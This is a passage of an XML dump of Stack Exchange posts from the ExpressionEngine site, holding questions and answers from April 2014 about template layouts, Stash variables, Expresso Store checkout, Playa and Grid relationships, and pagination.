User?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-04-09T09:42:26.987" Title="Solspace Facebook Connect passive registration use email as username so it matches User" Tags="|solspace|solspace-user|solspace-facebookconnect|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21103" PostTypeId="1" CreationDate="2014-04-09T09:54:32.500" Score="1" ViewCount="663" Body="&lt;p&gt;I'm trying getting to grips with Expression Engine. Specifically passing custom field information to a master layout&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created two template groups. One for the overall layout including the header and footer and one to control a specific channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have custom fields for the channel. Including one called &quot;description&quot; that I want to be able to pass back to the overall header layout. This is what I have from looking at the documentation but it doesn't work - the variable {timeline_item_description} isn't getting passed to the header. Looking at the code below what am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channel index template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout:set name=&quot;desc&quot;}{timeline_item_description}{/layout:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Header layout template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:description&quot; content=&quot;{layout:desc}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2954" LastActivityDate="2014-05-09T13:41:23.460" Title="Expression Engine - Passing Custom Field Variables to Layout" Tags="|templates|custom-fields|variable|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21104" PostTypeId="1" CreationDate="2014-04-09T10:18:56.270" Score="1" ViewCount="10" Body="&lt;p&gt;After installation of the Calendar EE extension, all the pages as blank, where I try to use Calendar tags, for example {exp:calendar:calendars}. Can you help me to resolve this situation?&#xA;Thanks &lt;/p&gt;&#xA;" OwnerUserId="2955" LastActivityDate="2014-04-09T10:18:56.270" Title="After installation of the Calendar Module all pages with calendar tags are blank" Tags="|calendar|blank-screen|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21105" PostTypeId="1" CreationDate="2014-04-09T10:25:50.697" Score="0" ViewCount="150" Body="&lt;p&gt;I know this is question has already been asked, but I just can't get it to work properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a member field called: member_billing_first_name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Exp:resso checkout form I have a field called billing_first_name &#xA;which is mapped to member_billing_first_name in the backend&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    form_class=&quot;form-horizontal&quot;&#xA;    return=&quot;store_example/order/ORDER_HASH&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'&#xA;    payment_method=&quot;PayPal_Express&quot;&#xA;    register_member=&quot;yes&quot;&#xA;}&#xA;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;billing_first_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;    {field:billing_first_name}    &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;order_email&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;    {field:order_email}{!-- this field is required --}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;    {field:password}{!-- this field is required --}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;other html/links removed from example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this method, but no joy:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14342/expresso-store-2-not-mapping-to-zoo-visitors-fields-on-checkout#answer-14774&quot;&gt;Expresso Store 2: not mapping to Zoo Visitors fields on checkout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-04-10T01:29:06.473" Title="Exp:resso registered members not mapped to Zoo Visitors" Tags="|expresso-store|zoo-visitor|2.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21106" PostTypeId="1" CreationDate="2014-04-09T10:50:39.280" Score="0" ViewCount="146" Body="&lt;p&gt;I have a channel &quot;Page&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the page channel, I have following fields where &lt;code&gt;{assign_parent_page}&lt;/code&gt; is a relationship field &lt;a href=&quot;http://puu.sh/81UAe.png&quot; rel=&quot;nofollow&quot;&gt;http://puu.sh/81UAe.png&lt;/a&gt; that I have made so as I can assign the channel entry as sub entry for another channel entry. I.e In the PAGE channel, if i have suppose 10 enteries, I want that entry 2 to be a sub entry for entry 1. So, in to obtain this, I made a relationship field (&quot;For eg: sub page in WORDPRESS&quot;)&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;http://puu.sh/81Ul5.png&quot; rel=&quot;nofollow&quot;&gt;http://puu.sh/81Ul5.png&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{title}&#xA;{page_body}&#xA;{page_title_image}&#xA;{page_sidebar_check}&#xA;{assign_parent_page}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my template, I am using this code as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;page&quot;}&#xA;   {assign_parent_page}&#xA;      {assign_parent_page:title}&#xA;   {/assign_parent_page}&#xA;   {title}&#xA;   {page_body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the output , I am getting is &lt;a href=&quot;http://puu.sh/81UqV.jpg&quot; rel=&quot;nofollow&quot;&gt;http://puu.sh/81UqV.jpg&lt;/a&gt; &lt;strong&gt;{assign_parent_page} {assign_parent_page:title} {/assign_parent_page}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help me how to display a relationship field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2920" LastActivityDate="2014-04-09T10:50:39.280" Title="Expression Engine Channel relationship field not showing" Tags="|channel-entries|relationships|channel-form|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21107" PostTypeId="2" ParentId="21077" CreationDate="2014-04-09T10:55:22.887" Score="0" Body="&lt;p&gt;Solved it. Ended up using just stash set instead of set list.&#xA;I tried a lot of variations but they didn't work. Like: set list for just the images or a nested list. I also noticed that using prefix on Channel Images inside Stash and a Related entry doesn't work. Outside the related entry it works fine with Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     {!-- ## Related entry --}&#xA;{portfolio_related_home}&#xA;&#xA;        {!-- ## set stash. Don't know if procces end should be there --}&#xA;        {exp:stash:set parse_tags=&quot;yes&quot; process=&quot;end&quot;} &#xA;&#xA;             {!-- ## loop images and set unique stash names --}&#xA;            {portfolio_related_home:portfolio_images entry_id=&quot;{entry_id}&quot; limit=&quot;3&quot;} &#xA;            {if image:count == &quot;1&quot;}&#xA;                {stash:img_{portfolio_related_home:count}_{image:count}}{image:url:medium}{/stash:img_{portfolio_related_home:count}_{image:count}}&#xA;            {if:else}&#xA;                {stash:img_{portfolio_related_home:count}_{image:count}}{image:url:small}{/stash:img_{portfolio_related_home:count}_{image:count}}&#xA;            {/if}&#xA;            {/portfolio_related_home:portfolio_images}&#xA;        {/exp:stash:set}&#xA;&#xA;&#xA;                {if portfolio_related_home:count &amp;lt;&amp;gt; '2'}&#xA;                    &amp;lt;div class=&quot;hp-img-container&quot; &amp;gt;&#xA;                    {exp:stash:get name='img_{portfolio_related_home:count}_1'}&#xA;                    &amp;lt;div class=&quot;hp-content&quot;&amp;gt;&amp;lt;h4&amp;gt;{portfolio_related_home:title}&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    {exp:stash:get name='img_{portfolio_related_home:count}_2'} &#xA;                    {exp:stash:get name='img_{portfolio_related_home:count}_3'}         &#xA;                {if:else}&#xA;                    {exp:stash:get name='img_{portfolio_related_home:count}_2'}     &#xA;                    {exp:stash:get name='img_{portfolio_related_home:count}_3'}     &#xA;&#xA;                    &amp;lt;div class=&quot;hp-img-container&quot; &amp;gt;&#xA;                    {exp:stash:get name='img_{portfolio_related_home:count}_1'}&#xA;                    &amp;lt;div class=&quot;hp-content&quot;&amp;gt;&amp;lt;h4&amp;gt;{portfolio_related_home:title}&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                {/if}&#xA;&#xA;{/portfolio_related_home}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe it could help someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1178" LastActivityDate="2014-04-09T10:55:22.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21108" PostTypeId="2" ParentId="21078" CreationDate="2014-04-09T11:41:41.340" Score="1" Body="&lt;p&gt;Unless I'm misunderstanding, how about using Cloner? &lt;a href=&quot;http://devot-ee.com/add-ons/mx-cloner&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mx-cloner&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-04-09T11:41:41.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21109" PostTypeId="2" ParentId="21103" CreationDate="2014-04-09T11:50:27.497" Score="0" Body="&lt;p&gt;I believe what you describe should work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I take it you have a &lt;code&gt;{layout=&quot;site/.header_layout&quot;}&lt;/code&gt; tag in your children (channel index template) as well, and that the path to the template_group/template is correct ?&lt;/li&gt;&#xA;&lt;li&gt;I suppose that you can print out &lt;code&gt;{timeline_item_description}&lt;/code&gt;in your children template and that it works&lt;/li&gt;&#xA;&lt;li&gt;Could you try the following just to be sure ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Channel index template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;site/.header_layout&quot;}    &#xA;{layout:set name=&quot;desc&quot; value=&quot;{timeline_item_description}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Header Layout template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:description&quot; content=&quot;{layout:desc}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-04-09T11:50:27.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21111" PostTypeId="2" ParentId="21075" CreationDate="2014-04-09T14:23:13.260" Score="0" Body="&lt;p&gt;It's possible that Zoo Visitor is interfering with Store's member registration functionality, although I don't think we have had any reports of problems with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be worth testing your templates on a new site, without Zoo Visitor installed, to see if you still get the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could simply add a login/register step to your checkout process, which avoids using Store's member registration functionality entirely.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-04-09T14:23:13.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21112" PostTypeId="1" CreationDate="2014-04-09T14:34:09.637" Score="0" ViewCount="95" Body="&lt;p&gt;I'm trying to setup a conditional to only show the Start Date when the Start Date and End Date match, but I can't get it to work in Matrix and I can't find a similar question anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have so far. I'm using the Time Select fieldtype add-on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;8&quot; dynamic=&quot;off&quot;}&#xA;    {sessions}&#xA;        {if &quot;{start_date format='%M %j'}&quot; == &quot;{end_date format='%M %j'}&quot;}&#xA;            &amp;lt;li&amp;gt;{start_date format=&quot;%M %j&quot;}&amp;lt;/li&amp;gt;&#xA;        {if:else}&#xA;            &amp;lt;li&amp;gt;{start_date format=&quot;%M %j&quot;} - {end_date format=&quot;%M %j&quot;}&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/sessions}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="745" LastActivityDate="2014-08-08T03:12:41.430" Title="Trouble with Conditional inside Matrix Field" Tags="|matrix|conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21113" PostTypeId="2" ParentId="21071" CreationDate="2014-04-09T14:52:08.930" Score="3" Body="&lt;p&gt;This is often caused from incorrect DB credentials.  If you set debug=&quot;2&quot; in your config file, do you get any additional errors?&lt;/p&gt;&#xA;" OwnerUserId="801" LastActivityDate="2014-04-09T14:52:08.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21114" PostTypeId="1" AcceptedAnswerId="21116" CreationDate="2014-04-09T15:43:22.107" Score="1" ViewCount="218" Body="&lt;p&gt;I have tried to use Cat2 addon to retrieve category ID based on a category group. Later I want to use stashed category ID to retrieve entries form a channel based on a selected category. Code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;catid&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot;}&#xA;{exp:cat2:id category_url_title=&quot;{segment_2}&quot; category_group=&quot;5&quot; parse=&quot;inward&quot;}&#xA;{category_id}&#xA;{/exp:cat2:id}&#xA;{/exp:stash:set}&#xA;&#xA;CatID#: {exp:stash:get name='catid'}&#xA;&#xA;    {exp:channel:entries channel=&quot;collection&quot; category=&quot;{exp:stash:get name='catid'}&quot; url_title=&quot;{segment_3}&quot; status=&quot;open&quot;}&#xA;        {title}&#xA;        {collection_description}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It displays proper CatID# but I'm not getting any entries. When I &quot;hardcode&quot; that CatID# instead of &lt;code&gt;{exp:stash:get name='catid'}&lt;/code&gt; I'm able to retrieve related entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what is going on there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-09T15:59:27.893" Title="Stash category ID and entries" Tags="|stash|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21116" PostTypeId="2" ParentId="21114" CreationDate="2014-04-09T15:59:27.893" Score="1" Body="&lt;p&gt;Found solution &lt;a href=&quot;http://pilotmade.com/blog/simple-expressionengine-stash-parse-order&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you need to use a Stash variable that was created within a Channel&#xA;  Entries loop earlier in a template as a parameter in a Channel Entries&#xA;  loop, you can delay the parse order of the second Channel Entries loop&#xA;  such that the variable gets set prior to the loop being executed. For&#xA;  example if you got a list of entry IDs of related entries (from&#xA;  Relationships or Playa) you could put those in the entry_id parameter&#xA;  and then print out the entries in the correct order. This could be&#xA;  used for categories, statuses, search values, whatever.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;  {exp:channel:entries channel=&quot;XXX&quot; fixed_order=&quot;{stash:places}&quot; entry_id=&quot;{stash:places}&quot; dynamic=&quot;no&quot;}&#xA;    {title}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-09T15:59:27.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21117" PostTypeId="1" AcceptedAnswerId="21128" CreationDate="2014-04-09T17:33:21.787" Score="2" ViewCount="182" Body="&lt;p&gt;Just installed Expresso and getting my feet wet with it. I'm using the default demo store it comes with to walk myself through the entire process and to figure out how to best utilize the software for my client's specific needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, the client wants all items on the store to be free and with free shipping unless they want next day delivery (I already have a pretty good grasp on how to handle this). So, this means that I don't want to specify a payment method and use some preconfigured gateway for it- I don't need it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that the best way to handle this is to simply use the &quot;manual&quot; payment method, but all I'm getting are constant errors.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only code I added to the Checkout3 default template the Store provides you: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;payment_method&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;paypal_express&quot; selected&amp;gt;Paypal&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;manual&quot;&amp;gt;Manual&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;&#xA;            {if error:payment_method}&#xA;                    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Earlier, I tried specifying the manual payment type without the above code in the checkout tag- same error being flagged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than this, all I've done is comment out the  tag that houses the default payment code for the demo, given how I didn't need it.. Or thought I didn't. &lt;/p&gt;&#xA;" OwnerUserId="2559" LastActivityDate="2014-04-10T01:07:20.640" Title="Expresso Store - Invalid Payment Method for Manual" Tags="|expresso-store|checkout|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21118" PostTypeId="1" AcceptedAnswerId="21120" CreationDate="2014-04-09T17:53:04.627" Score="1" ViewCount="85" Body="&lt;p&gt;I'm trying to setup pagination at the bottom of my article template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to achieve is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To link to the first group of 5 pages, to show links for the next 5 pages and to link to the next group of 5 pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pagination links appear but the numbered links link to pages P14, P28, &amp;amp; P42.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;{if {total_pages} &amp;gt; 1}&#xA;&amp;lt;nav class=&quot;centered&quot; role=&quot;toolbar&quot;&amp;gt;&#xA;&amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;{pagination_links page_padding=&quot;5&quot;}&#xA;{previous_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/previous_page}&#xA;&#xA;{page}&amp;lt;li {if current_page}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/page}&#xA;&#xA;{next_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/next_page}&#xA;{/pagination_links}&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;{/if}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/edlyr.png&quot; alt=&quot;pagination links&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it linking to every 14th page?&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-04-09T18:16:06.073" Title="Pagination: Is this how it works?" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21119" PostTypeId="2" ParentId="21069" CreationDate="2014-04-09T18:08:30.243" Score="2" Body="&lt;p&gt;As far as I know this is still not possible. Not a great answer, but unfortunately it's hardcoded into the member functionality.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-04-09T18:08:30.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21120" PostTypeId="2" ParentId="21118" CreationDate="2014-04-09T18:16:06.073" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is it linking to every 14th page?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not. I'm willing to bet that your &lt;code&gt;channel:entries&lt;/code&gt; tag has a &lt;code&gt;limit&lt;/code&gt; of &lt;code&gt;14&lt;/code&gt;. The links/url segments indicate &lt;em&gt;entry&lt;/em&gt; offset, not &lt;em&gt;page&lt;/em&gt; offset - but they achieve the same end result.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-09T18:16:06.073" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21121" PostTypeId="2" ParentId="20384" CreationDate="2014-04-09T18:21:13.940" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash&quot;&gt;Stash 2.5.3&lt;/a&gt; will stop this error notice with EE 2.8.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was: in EE 2.8 the Template::advanced_conditionals() method assumes that the Template::$layout_conditionals array exists, even if your template does not make use of the new 'layouts' feature. Is that a bug for Ellislab to fix? Arguably, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash&quot;&gt;Stash v2.5.3&lt;/a&gt; adds a workaround for this problem, as does &lt;a href=&quot;https://github.com/croxton/Ifelse&quot;&gt;IfElse v2.0.1&lt;/a&gt; if you  use that as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible there may be a small number of other add-ons affected if they call the advanced_conditionals() method of the Template class.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-04-09T18:21:13.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21122" PostTypeId="2" ParentId="21112" CreationDate="2014-04-09T18:29:41.200" Score="0" Body="&lt;p&gt;Try to remove the the quotation marks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if &quot;start_date format='%M %j'&quot; == &quot;{end_date format='%M %j'}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sometimes it needs to remove them with conditional.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-04-09T18:29:41.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21123" PostTypeId="1" AcceptedAnswerId="21162" CreationDate="2014-04-09T18:33:53.780" Score="0" ViewCount="83" Body="&lt;p&gt;I have added Playa field to the channel and then assigned entries from another channel to an entry which contains Playa field, but I'm not getting anything from Playa tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;collection&quot; category=&quot;84&quot; url_title=&quot;{segment_3}&quot; status=&quot;open&quot;}&#xA;    {title}&amp;lt;br&amp;gt;&#xA;    {collection_description}&amp;lt;br&amp;gt;&#xA;    Collection contains:&#xA;    &amp;lt;ol&amp;gt;&#xA;    {collection_products_list}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    {/collection_products_list}&#xA;    &amp;lt;/ol&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For me it looks like &lt;code&gt;{collection_products_list}&lt;/code&gt; playa tag is not parsed. Any clue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-04-09T18:42:05.057" LastActivityDate="2014-04-12T05:40:48.197" Title="Playa not displaying assigned entries" Tags="|channel-entries|playa|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21124" PostTypeId="1" AcceptedAnswerId="21127" CreationDate="2014-04-09T18:37:43.773" Score="0" ViewCount="109" Body="&lt;p&gt;Does anyone know of a better fieldtype to handle long lists in a dropdown than the default dropdown list fieldtype?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;work within Grid&lt;/li&gt;&#xA;&lt;li&gt;field must be searchable in front end (via ee or low search)&lt;/li&gt;&#xA;&lt;li&gt;be able to add items within the list at times&lt;/li&gt;&#xA;&lt;li&gt;handle thousands of items in the list (maybe 5,000 - 20,000)&lt;/li&gt;&#xA;&lt;li&gt;hopefully offer an improved way of choosing the item&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(I considered using a second channel and a Relationship in the Grid, but the problem is searching isn't a possibility for Relationships in a Grid. That would be ideal in that I can change/add to the items in the second channel, but the search issue is a deal breaker.)&lt;/p&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="55" LastEditDate="2014-04-09T19:18:54.313" LastActivityDate="2014-04-09T19:25:38.857" Title="Better dropdown fieldtype to handle long lists?" Tags="|fieldtype|grid|drop-down|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21125" PostTypeId="1" CreationDate="2014-04-09T18:46:58.840" Score="1" ViewCount="77" Body="&lt;p&gt;It seems if I require the State of a billing or shipping field, it is required whether or not the selected country has &quot;states&quot;. For example, if France is selected, the State dropdown has no options, but the user can't proceed because the State field is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to correct this?&lt;/p&gt;&#xA;" OwnerUserId="2678" LastActivityDate="2014-04-09T18:52:52.630" Title="Expresso Store, required address field based on country" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21126" PostTypeId="2" ParentId="21125" CreationDate="2014-04-09T18:52:52.630" Score="1" Body="&lt;p&gt;You have to specify on checkout form opening &lt;code&gt;exp:store:checkout&lt;/code&gt; what is required. Remove state from there and you should be good.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-09T18:52:52.630" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21127" PostTypeId="2" ParentId="21124" CreationDate="2014-04-09T19:25:38.857" Score="2" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/hooks#low_search_update_index&quot; rel=&quot;nofollow&quot;&gt;low_search_update_index&lt;/a&gt; hook in Low Search to index relationship fields inside Grid fields - I've done this before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a ready-made &lt;a href=&quot;http://devot-ee.com/add-ons/low-search-relationships&quot; rel=&quot;nofollow&quot;&gt;extension available&lt;/a&gt; which does this for standalone relationship fields ... it doesn't do Grid fields, but it would be easy to modify the query inside the extension to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, stick with the relationship inside the Grid, since it meets all your other requirements, and the search bit is solvable.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-09T19:25:38.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21128" PostTypeId="2" ParentId="21117" CreationDate="2014-04-10T01:07:20.640" Score="4" Body="&lt;p&gt;For the sake of having an answer posted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Manual gateway must be enabled in the Store payment methods settings for the Manual gateway to work.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-04-10T01:07:20.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
